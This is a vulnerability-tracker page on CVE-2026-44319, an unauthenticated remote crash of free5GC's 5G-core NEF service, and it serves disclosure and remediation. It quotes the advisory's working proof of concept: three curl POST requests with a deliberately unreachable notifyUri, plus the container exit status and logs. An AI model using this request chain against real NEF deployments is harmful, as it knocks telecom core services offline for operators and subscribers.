Skip to main content

free5GC NEF CVE-2026-44319

| EUVDEUVD-2026-32579 HIGH
Improper Input Validation (CWE-20)
2026-05-08 https://github.com/free5gc/free5gc GHSA-rxrq-fv76-26pr
7.5
CVSS 3.1 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach NEF SBI over network
  2. Delivery
    Create AF subscription (afdos)
  3. Exploit
    Register PFD subscription with unreachable notifyUri
  4. Install
    POST PFD change transaction returns 201
  5. C2
    Async notify delivery errors
  6. Execute
    logger.Fatal calls os.Exit(1)
  7. Impact
    Entire NEF process terminates

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Requires the attacker to reach NEF's SBI (default lab endpoint port 8000) and perform three POSTs: create an AF subscription under /3gpp-traffic-influence/v1/afdos/subscriptions, create a PFD subscription under /nnef-pfdmanagement/v1/subscriptions with an attacker-chosen unreachable notifyUri, then trigger a PFD change under /3gpp-pfd-management/v1/afdos/transactions. The concrete precondition is the ability to set an unreachable notifyUri (any refused port, blackholed IP, NXDOMAIN, or broken TLS works) plus the ability to cause a PFD change for that application. In v4.2.1 no Authorization header is needed because the NEF SBI route groups lack inbound auth middleware (consistent with CVSS PR:N), so the chain is unauthenticated end-to-end in the default Docker compose lab; deployments that add SBI authorization would raise the bar to an authenticated AF that can create PFD subscriptions. The main limiting factor is network exposure of the NEF SBI - NEF is normally reachable only within the trusted 5G core / AF interconnect, not the public Internet.

Impact

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) captures a pure-availability, low-complexity, remote, unauthenticated DoS, and the assessment is internally consistent with the described attack. The PR:N rating holds only because, in v4.2.1, the NEF SBI route groups are mounted without inbound auth middleware (tracked separately in free5gc#858/#859/#862); the Fatal defect itself would still be triggerable by any party who can create a PFD subscription even after auth is fixed, so PR could rise to PR:L in a hardened deployment - verify with vendor. EPSS is very low (0.06%, 19th percentile) and there is no KEV listing, indicating no observed mass exploitation, which is unsurprising for a 5G-core component normally reachable only from within a telecom interconnect rather than the open Internet. Countering that, the impact is deterministic and repeatable (re-trigger after each restart to sustain the outage) and cannot be closed by blocking a single URI, since any unreachable target hits the same Fatal branch. Net: a genuinely high-availability-impact, easily weaponized bug whose real-world priority is gated by network exposure of the NEF SBI - high priority for anyone exposing NEF beyond a trusted core network, moderate otherwise.

Exploit ScenarioDerived

An attacker with network reach to the NEF SBI registers an AF context, creates a PFD-management subscription whose notifyUri points at a guaranteed-unreachable target (e.g. http://127.0.0.1:1/notify), then POSTs a PFD change transaction. The change is accepted (201 Created), NEF asynchronously tries to deliver the notification, the POST fails, and logger.Fatal exits the process, dropping the whole 5G core's NEF service; a full working PoC is published in the advisory, and the attacker simply repeats it after each restart to sustain the outage.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Remote denial-of-service in free5GC's Network Exposure Function (NEF) up to v4.2.1 (nef module < 1.2.3) lets an attacker terminate the entire NEF process by pointing a PFD-management subscription at an unreachable notifyUri and then triggering a PFD change. Because the async notification handler calls logger.PFDManageLog.Fatal (an os.Exit(1) equivalent that bypasses Gin's panic recovery) on any outbound delivery error, a single accepted request kills NEF's whole SBI surface until restart. The advisory ships a full end-to-end proof-of-concept, so publicly available exploit code exists; EPSS is low (0.06%, 19th percentile) and it is not in CISA KEV.

RemediationAI

Upgrade free5GC to 4.2.2 or later, which pulls in the fixed nef module 1.2.3 (Vendor-released patch: nef 1.2.3 / free5GC 4.2.2). The fix is delivered by https://github.com/free5gc/nef/pull/25 and commit f110517b1189801950b50668a593398687049074, which moves delivery into sendPFDChangeNotification and replaces logger.Fatal with logger.Errorf plus a recover() so a failed callback stays local instead of exiting the process. Where immediate upgrade is not possible, restrict network reachability of the NEF SBI so only trusted AF/NF peers can reach the /nnef-pfdmanagement, /3gpp-traffic-influence, and /3gpp-pfd-management endpoints via firewall/ACL at the interconnect, and enforce the missing SBI OAuth/authorization middleware (free5gc#858/#859/#862) so anonymous parties cannot create PFD subscriptions - the trade-off is that this only limits who can trigger the crash, not the underlying Fatal defect, and mis-scoped ACLs can break legitimate AF traffic-influence flows. Egress filtering of NEF's outbound notification traffic does not help, since any delivery error still triggers the same crash. Reference the advisory at https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr.

Affected VersionsENISA

Free5GC < 4.2.2

Affected Packages

go github.com/free5gc/nef fix: 1.2.3
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

free5GC is an open-source implementation of a 3GPP 5G core network written in Go; the affected component is the NEF, which exposes the Service Based Interface (SBI) APIs 3gpp-traffic-influence, nnef-pfdmanagement, and 3gpp-pfd-management. The affected Go package is pkg:go/github.com/free5gc/nef. The root cause spans CWE-20 (missing validation of the attacker-supplied notifyUri, the assigned NVD weakness) together with CWE-617 (reachable assertion / fail-fast) and CWE-755 (improper handling of an exceptional condition): in PfdChangeNotifier.FlushNotifications() the outbound POST via NnefPFDmanagementNotify treats a transient HTTP error (connection refused, DNS failure, TLS error, timeout) as fatal. In Go, logger.Fatal wraps os.Exit(1), which skips deferred cleanup, connection draining, and Gin's recover() middleware, converting a per-request failure into a whole-process crash. The delivery is asynchronous, so the triggering request returns 201 Created before the process dies.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Remote, low-complexity, unauthenticated in v4.2.1 (SBI route groups lack auth) with a deterministic whole-process crash; no confidentiality or integrity impact, availability fully lost.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).

The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.1
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z)
  • NEF endpoint: http://10.100.200.19:8000

Vulnerable notifier path:

go
_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(
    context.TODO(), nc.notifier.getSubURI(id), notifyReq)
if err != nil {
    logger.PFDManageLog.Fatal(err)   // <-- os.Exit(1)-equivalent
}

The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.

Code evidence (paths in free5gc/nef):

  • Notifier dispatch:
  • NFs/nef/internal/sbi/notifier/pfd_notifier.go:135
  • Fatal call site (process exit):
  • NFs/nef/internal/sbi/notifier/pfd_notifier.go:142

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.

  1. Create an AF context (no Authorization header):
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"afAppId":"app-nef-dos","anyUeInd":true}'
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1
  1. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):
curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}'
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1
  1. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}'

The PFD POST itself returns 201, but immediately afterward NEF exits.

  1. Confirm the NEF container is dead (exited, exit=1):
docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'
status=exited restart=0 exit=1
  1. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process:
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |
[FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused

Impact

Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.

In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:

  • Submit the three-step trigger anonymously and immediately terminate the NEF process.
  • Repeat the trigger after every restart to sustain the outage.
  • Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.

No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

Executive ViewAI

Why It Matters

Attackers can remotely crash free5GC's Network Exposure Function with a single request, causing complete API service outage until restart. 5G operators running free5GC face potential subscriber service disruptions and operational burden from repeated crash recovery until the vulnerability is patched.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Prevalence
Low
open-source 5G core, mostly research/testbed and niche telecom deployments
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy